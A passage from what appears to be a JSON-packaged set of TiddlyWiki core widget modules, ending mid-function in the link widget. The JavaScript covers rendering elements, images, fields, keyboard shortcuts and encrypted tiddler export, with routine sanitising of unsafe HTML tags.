            "text": "/*\\\ntitle: $:/core/modules/widgets/element.js\ntype: application/javascript\nmodule-type: widget\n\nElement widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ElementWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nElementWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nElementWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Neuter blacklisted elements\n\tvar tag = this.parseTreeNode.tag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"safe-\" + tag;\n\t}\n\t// Adjust headings by the current base level\n\tvar headingLevel = [\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\"].indexOf(tag);\n\tif(headingLevel !== -1) {\n\t\tvar baseLevel = parseInt(this.getVariable(\"tv-adjust-heading-level\",\"0\"),10) || 0;\n\t\theadingLevel = Math.min(Math.max(headingLevel + 1 + baseLevel,1),6);\n\t\ttag = \"h\" + headingLevel;\n\t}\n\t// Create the DOM node\n\tvar domNode = this.document.createElementNS(this.namespace,tag);\n\tthis.assignAttributes(domNode,{excludeEventAttributes: true});\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nElementWidget.prototype.execute = function() {\n\t// Select the namespace for the tag\n\tvar tagNamespaces = {\n\t\t\tsvg: \"http://www.w3.org/2000/svg\",\n\t\t\tmath: \"http://www.w3.org/1998/Math/MathML\",\n\t\t\tbody: \"http://www.w3.org/1999/xhtml\"\n\t\t};\n\tthis.namespace = tagNamespaces[this.parseTreeNode.tag];\n\tif(this.namespace) {\n\t\tthis.setVariable(\"namespace\",this.namespace);\n\t} else {\n\t\tthis.namespace = this.getVariable(\"namespace\",{defaultValue: \"http://www.w3.org/1999/xhtml\"});\n\t}\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nElementWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\thasChangedAttributes = $tw.utils.count(changedAttributes) > 0;\n\tif(hasChangedAttributes) {\n\t\t// Update our attributes\n\t\tthis.assignAttributes(this.domNodes[0],{excludeEventAttributes: true});\n\t}\n\treturn this.refreshChildren(changedTiddlers) || hasChangedAttributes;\n};\n\nexports.element = ElementWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/encrypt.js": {
            "title": "$:/core/modules/widgets/encrypt.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/encrypt.js\ntype: application/javascript\nmodule-type: widget\n\nEncrypt widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EncryptWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEncryptWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEncryptWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.encryptedText);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEncryptWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.filter = this.getAttribute(\"filter\",\"[!is[system]]\");\n\t// Encrypt the filtered tiddlers\n\tvar tiddlers = this.wiki.filterTiddlers(this.filter),\n\t\tjson = {},\n\t\tself = this;\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.wiki.getTiddler(title),\n\t\t\tjsonTiddler = {};\n\t\tfor(var f in tiddler.fields) {\n\t\t\tjsonTiddler[f] = tiddler.getFieldString(f);\n\t\t}\n\t\tjson[title] = jsonTiddler;\n\t});\n\tthis.encryptedText = $tw.utils.htmlEncode($tw.crypto.encrypt(JSON.stringify(json)));\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEncryptWidget.prototype.refresh = function(changedTiddlers) {\n\t// We don't need to worry about refreshing because the encrypt widget isn't for interactive use\n\treturn false;\n};\n\nexports.encrypt = EncryptWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/entity.js": {
            "title": "$:/core/modules/widgets/entity.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/entity.js\ntype: application/javascript\nmodule-type: widget\n\nHTML entity widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EntityWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEntityWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEntityWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tvar entityString = this.getAttribute(\"entity\",this.parseTreeNode.entity || \"\"),\n\t\ttextNode = this.document.createTextNode($tw.utils.entityDecode(entityString));\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEntityWidget.prototype.execute = function() {\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEntityWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.entity) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.entity = EntityWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/fieldmangler.js": {
            "title": "$:/core/modules/widgets/fieldmangler.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/fieldmangler.js\ntype: application/javascript\nmodule-type: widget\n\nField mangler widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar FieldManglerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-remove-field\", handler: \"handleRemoveFieldEvent\"},\n\t\t{type: \"tm-add-field\", handler: \"handleAddFieldEvent\"},\n\t\t{type: \"tm-remove-tag\", handler: \"handleRemoveTagEvent\"},\n\t\t{type: \"tm-add-tag\", handler: \"handleAddTagEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nFieldManglerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nFieldManglerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nFieldManglerWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.mangleTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nFieldManglerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nFieldManglerWidget.prototype.handleRemoveFieldEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tdeletion = {};\n\tdeletion[event.param] = undefined;\n\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,deletion));\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleAddFieldEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\taddition = this.wiki.getModificationFields(),\n\t\thadInvalidFieldName = false,\n\t\taddField = function(name,value) {\n\t\t\tvar trimmedName = name.toLowerCase().trim();\n\t\t\tif(!$tw.utils.isValidFieldName(trimmedName)) {\n\t\t\t\tif(!hadInvalidFieldName) {\n\t\t\t\t\talert($tw.language.getString(\n\t\t\t\t\t\t\"InvalidFieldName\",\n\t\t\t\t\t\t{variables:\n\t\t\t\t\t\t\t{fieldName: trimmedName}\n\t\t\t\t\t\t}\n\t\t\t\t\t));\n\t\t\t\t\thadInvalidFieldName = true;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(!value && tiddler) {\n\t\t\t\t\tvalue = tiddler.fields[trimmedName];\n\t\t\t\t}\n\t\t\t\taddition[trimmedName] = value || \"\";\n\t\t\t}\n\t\t\treturn;\n\t\t};\n\taddition.title = this.mangleTitle;\n\tif(typeof event.param === \"string\") {\n\t\taddField(event.param,\"\");\n\t}\n\tif(typeof event.paramObject === \"object\") {\n\t\tfor(var name in event.paramObject) {\n\t\t\taddField(name,event.paramObject[name]);\n\t\t}\n\t}\n\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,addition));\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleRemoveTagEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tmodification = this.wiki.getModificationFields();\n\tif(tiddler && tiddler.fields.tags) {\n\t\tvar p = tiddler.fields.tags.indexOf(event.param);\n\t\tif(p !== -1) {\n\t\t\tmodification.tags = (tiddler.fields.tags || []).slice(0);\n\t\t\tmodification.tags.splice(p,1);\n\t\t\tif(modification.tags.length === 0) {\n\t\t\t\tmodification.tags = undefined;\n\t\t\t}\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,modification));\n\t\t}\n\t}\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleAddTagEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tmodification = this.wiki.getModificationFields();\n\tif(tiddler && typeof event.param === \"string\") {\n\t\tvar tag = event.param.trim();\n\t\tif(tag !== \"\") {\n\t\t\tmodification.tags = (tiddler.fields.tags || []).slice(0);\n\t\t\t$tw.utils.pushTop(modification.tags,tag);\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,modification));\t\t\t\n\t\t}\n\t} else if(typeof event.param === \"string\" && event.param.trim() !== \"\" && this.mangleTitle.trim() !== \"\") {\n\t\tvar tag = [];\n\t\ttag.push(event.param.trim());\n\t\tthis.wiki.addTiddler(new $tw.Tiddler({title: this.mangleTitle, tags: tag},modification));\n\t}\n\treturn true;\n};\n\nexports.fieldmangler = FieldManglerWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/fields.js": {
            "title": "$:/core/modules/widgets/fields.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/fields.js\ntype: application/javascript\nmodule-type: widget\n\nFields widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar FieldsWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nFieldsWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nFieldsWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.text);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nFieldsWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.template = this.getAttribute(\"template\");\n\tthis.exclude = this.getAttribute(\"exclude\");\n\tthis.stripTitlePrefix = this.getAttribute(\"stripTitlePrefix\",\"no\") === \"yes\";\n\t// Get the value to display\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle);\n\t// Get the exclusion list\n\tvar exclude;\n\tif(this.exclude) {\n\t\texclude = this.exclude.split(\" \");\n\t} else {\n\t\texclude = [\"text\"]; \n\t}\n\t// Compose the template\n\tvar text = [];\n\tif(this.template && tiddler) {\n\t\tvar fields = [];\n\t\tfor(var fieldName in tiddler.fields) {\n\t\t\tif(exclude.indexOf(fieldName) === -1) {\n\t\t\t\tfields.push(fieldName);\n\t\t\t}\n\t\t}\n\t\tfields.sort();\n\t\tfor(var f=0; f<fields.length; f++) {\n\t\t\tfieldName = fields[f];\n\t\t\tif(exclude.indexOf(fieldName) === -1) {\n\t\t\t\tvar row = this.template,\n\t\t\t\t\tvalue = tiddler.getFieldString(fieldName);\n\t\t\t\tif(this.stripTitlePrefix && fieldName === \"title\") {\n\t\t\t\t\tvar reStrip = /^\\{[^\\}]+\\}(.+)/mg,\n\t\t\t\t\t\treMatch = reStrip.exec(value);\n\t\t\t\t\tif(reMatch) {\n\t\t\t\t\t\tvalue = reMatch[1];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trow = $tw.utils.replaceString(row,\"$name$\",fieldName);\n\t\t\t\trow = $tw.utils.replaceString(row,\"$value$\",value);\n\t\t\t\trow = $tw.utils.replaceString(row,\"$encoded_value$\",$tw.utils.htmlEncode(value));\n\t\t\t\ttext.push(row);\n\t\t\t}\n\t\t}\n\t}\n\tthis.text = text.join(\"\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nFieldsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.template || changedAttributes.exclude || changedAttributes.stripTitlePrefix || changedTiddlers[this.tiddlerTitle]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.fields = FieldsWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/image.js": {
            "title": "$:/core/modules/widgets/image.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/image.js\ntype: application/javascript\nmodule-type: widget\n\nThe image widget displays an image referenced with an external URI or with a local tiddler title.\n\n```\n<$image src=\"TiddlerTitle\" width=\"320\" height=\"400\" class=\"classnames\">\n```\n\nThe image source can be the title of an existing tiddler or the URL of an external image.\n\nExternal images always generate an HTML `<img>` tag.\n\nTiddlers that have a _canonical_uri field generate an HTML `<img>` tag with the src attribute containing the URI.\n\nTiddlers that contain image data generate an HTML `<img>` tag with the src attribute containing a base64 representation of the image.\n\nTiddlers that contain wikitext could be rendered to a DIV of the usual size of a tiddler, and then transformed to the size requested.\n\nThe width and height attributes are interpreted as a number of pixels, and do not need to include the \"px\" suffix.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ImageWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nImageWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nImageWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\t// Determine what type of image it is\n\tvar tag = \"img\", src = \"\",\n\t\ttiddler = this.wiki.getTiddler(this.imageSource);\n\tif(!tiddler) {\n\t\t// The source isn't the title of a tiddler, so we'll assume it's a URL\n\t\tsrc = this.getVariable(\"tv-get-export-image-link\",{params: [{name: \"src\",value: this.imageSource}],defaultValue: this.imageSource});\n\t} else {\n\t\t// Check if it is an image tiddler\n\t\tif(this.wiki.isImageTiddler(this.imageSource)) {\n\t\t\tvar type = tiddler.fields.type,\n\t\t\t\ttext = tiddler.fields.text,\n\t\t\t\t_canonical_uri = tiddler.fields._canonical_uri;\n\t\t\t// If the tiddler has body text then it doesn't need to be lazily loaded\n\t\t\tif(text) {\n\t\t\t\t// Render the appropriate element for the image type\n\t\t\t\tswitch(type) {\n\t\t\t\t\tcase \"application/pdf\":\n\t\t\t\t\t\ttag = \"embed\";\n\t\t\t\t\t\tsrc = \"data:application/pdf;base64,\" + text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"image/svg+xml\":\n\t\t\t\t\t\tsrc = \"data:image/svg+xml,\" + encodeURIComponent(text);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tsrc = \"data:\" + type + \";base64,\" + text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else if(_canonical_uri) {\n\t\t\t\tswitch(type) {\n\t\t\t\t\tcase \"application/pdf\":\n\t\t\t\t\t\ttag = \"embed\";\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"image/svg+xml\":\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\t\n\t\t\t} else {\n\t\t\t\t// Just trigger loading of the tiddler\n\t\t\t\tthis.wiki.getTiddlerText(this.imageSource);\n\t\t\t}\n\t\t}\n\t}\n\t// Create the element and assign the attributes\n\tvar domNode = this.document.createElement(tag);\n\tdomNode.setAttribute(\"src\",src);\n\tif(this.imageClass) {\n\t\tdomNode.setAttribute(\"class\",this.imageClass);\t\t\n\t}\n\tif(this.imageWidth) {\n\t\tdomNode.setAttribute(\"width\",this.imageWidth);\n\t}\n\tif(this.imageHeight) {\n\t\tdomNode.setAttribute(\"height\",this.imageHeight);\n\t}\n\tif(this.imageTooltip) {\n\t\tdomNode.setAttribute(\"title\",this.imageTooltip);\t\t\n\t}\n\tif(this.imageAlt) {\n\t\tdomNode.setAttribute(\"alt\",this.imageAlt);\t\t\n\t}\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nImageWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.imageSource = this.getAttribute(\"source\");\n\tthis.imageWidth = this.getAttribute(\"width\");\n\tthis.imageHeight = this.getAttribute(\"height\");\n\tthis.imageClass = this.getAttribute(\"class\");\n\tthis.imageTooltip = this.getAttribute(\"tooltip\");\n\tthis.imageAlt = this.getAttribute(\"alt\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nImageWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.source || changedAttributes.width || changedAttributes.height || changedAttributes[\"class\"] || changedAttributes.tooltip || changedTiddlers[this.imageSource]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\t\n\t}\n};\n\nexports.image = ImageWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/importvariables.js": {
            "title": "$:/core/modules/widgets/importvariables.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/importvariables.js\ntype: application/javascript\nmodule-type: widget\n\nImport variable definitions from other tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ImportVariablesWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nImportVariablesWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nImportVariablesWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nImportVariablesWidget.prototype.execute = function(tiddlerList) {\n\tvar self = this;\n\t// Get our parameters\n\tthis.filter = this.getAttribute(\"filter\");\n\t// Compute the filter\n\tthis.tiddlerList = tiddlerList || this.wiki.filterTiddlers(this.filter,this);\n\t// Accumulate the <$set> widgets from each tiddler\n\tvar widgetStackStart,widgetStackEnd;\n\tfunction addWidgetNode(widgetNode) {\n\t\tif(widgetNode) {\n\t\t\tif(!widgetStackStart && !widgetStackEnd) {\n\t\t\t\twidgetStackStart = widgetNode;\n\t\t\t\twidgetStackEnd = widgetNode;\n\t\t\t} else {\n\t\t\t\twidgetStackEnd.children = [widgetNode];\n\t\t\t\twidgetStackEnd = widgetNode;\n\t\t\t}\n\t\t}\n\t}\n\t$tw.utils.each(this.tiddlerList,function(title) {\n\t\tvar parser = self.wiki.parseTiddler(title);\n\t\tif(parser) {\n\t\t\tvar parseTreeNode = parser.tree[0];\n\t\t\twhile(parseTreeNode && parseTreeNode.type === \"set\") {\n\t\t\t\taddWidgetNode({\n\t\t\t\t\ttype: \"set\",\n\t\t\t\t\tattributes: parseTreeNode.attributes,\n\t\t\t\t\tparams: parseTreeNode.params,\n\t\t\t\t\tisMacroDefinition: parseTreeNode.isMacroDefinition\n\t\t\t\t});\n\t\t\t\tparseTreeNode = parseTreeNode.children[0];\n\t\t\t}\n\t\t} \n\t});\n\t// Add our own children to the end of the pile\n\tvar parseTreeNodes;\n\tif(widgetStackStart && widgetStackEnd) {\n\t\tparseTreeNodes = [widgetStackStart];\n\t\twidgetStackEnd.children = this.parseTreeNode.children;\n\t} else {\n\t\tparseTreeNodes = this.parseTreeNode.children;\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nImportVariablesWidget.prototype.refresh = function(changedTiddlers) {\n\t// Recompute our attributes and the filter list\n\tvar changedAttributes = this.computeAttributes(),\n\t\ttiddlerList = this.wiki.filterTiddlers(this.getAttribute(\"filter\"),this);\n\t// Refresh if the filter has changed, or the list of tiddlers has changed, or any of the tiddlers in the list has changed\n\tfunction haveListedTiddlersChanged() {\n\t\tvar changed = false;\n\t\ttiddlerList.forEach(function(title) {\n\t\t\tif(changedTiddlers[title]) {\n\t\t\t\tchanged = true;\n\t\t\t}\n\t\t});\n\t\treturn changed;\n\t}\n\tif(changedAttributes.filter || !$tw.utils.isArrayEqual(this.tiddlerList,tiddlerList) || haveListedTiddlersChanged()) {\n\t\t// Compute the filter\n\t\tthis.removeChildDomNodes();\n\t\tthis.execute(tiddlerList);\n\t\tthis.renderChildren(this.parentDomNode,this.findNextSiblingDomNode());\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.importvariables = ImportVariablesWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/keyboard.js": {
            "title": "$:/core/modules/widgets/keyboard.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/keyboard.js\ntype: application/javascript\nmodule-type: widget\n\nKeyboard shortcut widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar KeyboardWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nKeyboardWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nKeyboardWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.tag && $tw.config.htmlUnsafeElements.indexOf(this.tag) === -1) {\n\t\ttag = this.tag;\n\t}\n\t// Create element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = (this[\"class\"] || \"\").split(\" \");\n\tclasses.push(\"tc-keyboard\");\n\tdomNode.className = classes.join(\" \");\n\t// Add a keyboard event handler\n\tdomNode.addEventListener(\"keydown\",function (event) {\n\t\tif($tw.keyboardManager.checkKeyDescriptors(event,self.keyInfoArray)) {\n\t\t\tself.invokeActions(self,event);\n\t\t\tif(self.actions) {\n\t\t\t\tself.invokeActionString(self.actions,self,event);\n\t\t\t}\n\t\t\tself.dispatchMessage(event);\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nKeyboardWidget.prototype.dispatchMessage = function(event) {\n\tthis.dispatchEvent({type: this.message, param: this.param, tiddlerTitle: this.getVariable(\"currentTiddler\")});\n};\n\n/*\nCompute the internal state of the widget\n*/\nKeyboardWidget.prototype.execute = function() {\n\tvar self = this;\n\t// Get attributes\n\tthis.actions = this.getAttribute(\"actions\");\n\tthis.message = this.getAttribute(\"message\");\n\tthis.param = this.getAttribute(\"param\");\n\tthis.key = this.getAttribute(\"key\");\n\tthis.tag = this.getAttribute(\"tag\");\n\tthis.keyInfoArray = $tw.keyboardManager.parseKeyDescriptors(this.key);\n\tthis[\"class\"] = this.getAttribute(\"class\");\n\tif(this.key.substr(0,2) === \"((\" && this.key.substr(-2,2) === \"))\") {\n\t\tthis.shortcutTiddlers = [];\n\t\tvar name = this.key.substring(2,this.key.length -2);\n\t\t$tw.utils.each($tw.keyboardManager.lookupNames,function(platformDescriptor) {\n\t\t\tself.shortcutTiddlers.push(\"$:/config/\" + platformDescriptor + \"/\" + name);\n\t\t});\n\t}\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nKeyboardWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.message || changedAttributes.param || changedAttributes.key || changedAttributes[\"class\"] || changedAttributes.tag) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\t// Update the keyInfoArray if one of its shortcut-config-tiddlers has changed\n\tif(this.shortcutTiddlers && $tw.utils.hopArray(changedTiddlers,this.shortcutTiddlers)) {\n\t\tthis.keyInfoArray = $tw.keyboardManager.parseKeyDescriptors(this.key);\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.keyboard = KeyboardWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/link.js": {
            "title": "$:/core/modules/widgets/link.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/link.js\ntype: application/javascript\nmodule-type: widget\n\nLink widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar LinkWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nLinkWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nLinkWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Get the value of the tv-wikilinks configuration macro\n\tvar wikiLinksMacro = this.getVariable(\"tv-wikilinks\"),\n\t\tuseWikiLinks = wikiLinksMacro ? (wikiLinksMacro.trim() !== \"no\") : true,\n\t\tmissingLinksEnabled = !(this.hideMissingLinks && this.isMissing && !this.isShadow);\n\t// Render the link if required\n\tif(useWikiLinks && missingLinksEnabled) {\n\t\tthis.renderLink(parent,nextSibling);\n\t} else {\n\t\t// Just insert the link text\n\t\tvar domNode = this.document.createElement(\"span\");\n\t\tparent.insertBefore(domNode,nextSibling);\n\t\tthis.renderChildren(domNode,null);\n\t\tthis.domNodes.push(domNode);\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nLinkWidget.prototype.renderLink = function(parent,nextSibling) {\n\tvar self = this;\n\t// Sanitise the specified tag\n\tvar tag = this.linkTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"a\";\n\t}\n\t// Create our element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = [];\n\tif(this.overrideClasses === undefined) {\n\t\tclasses.push(\"tc-tiddlylink\");\n\t\tif(this.isShadow) {\n\t\t\tclasses.push(\"tc-tiddlylink-shadow\");\n\t\t}\n\t\tif(this.isMissing && !this.isShadow) {\n\t\t\tclasses.push(\"tc-tiddlylink-missing\");\n\t\t} else {\n\t\t\tif(!this.isMissing) {\n\t\t\t\tclasses.push(\"tc-tiddlylink-resolves\");\n\t\t\t}\n\t\t}\n\t\tif(this.linkClasses) 